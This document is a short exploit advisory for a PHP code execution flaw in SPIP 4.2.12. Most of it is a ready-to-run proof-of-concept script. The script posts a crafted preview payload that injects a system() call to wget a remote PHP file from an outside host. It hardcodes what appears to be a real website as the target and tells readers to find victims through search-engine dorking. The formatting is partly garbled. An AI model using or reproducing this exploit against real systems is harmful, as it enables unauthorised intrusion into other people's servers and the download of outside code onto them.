Headline
SPIP 4.2.12 Code Execution
SPIP version 4.2.12 suffers from a code execution vulnerability.
=============================================================================================================================================| # Title : SPIP 4.2.12 PHP Code execution Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits) || # Vendor : https://www.spip.net/fr_rubrique91.html |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Line 31 : Set your target.[+] Save Payload as poc.php and run from cmd = C:\www\test>php poc.php[+] Payload :<?php<?phpclass indoushka { private $targetUrl; private $payload; public function __construct($targetUrl, $payload) { $this->targetUrl = rtrim($targetUrl, '/') . '/spip.php'; $this->payload = $this->generatePayload($payload); } private function generatePayload($payload) { return "[<img" . rand(10000000, 99999999) . ">->URL`<?php {$payload} ?>`]";} public function exploit() { $data = http_build_query(['action' => 'porte_plume_previsu', 'data' => $this->payload]); $ch = curl_init($this->targetUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $response = curl_exec($ch); curl_close($ch); echo "Exploit Sent! Response:\n"; echo $response; }}$targetUrl = 'https://www.speleo-mandeure.fr/'; // استبدل هذا بالعنوان الحقيقي$payload = 'system("wget https://raw.githubusercontent.com/indoushka/Mari/master/install.php");'; // أوامر PHP التي تريد تنفيذها$exploit = new indoushka($targetUrl, $payload);$exploit->exploit();Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================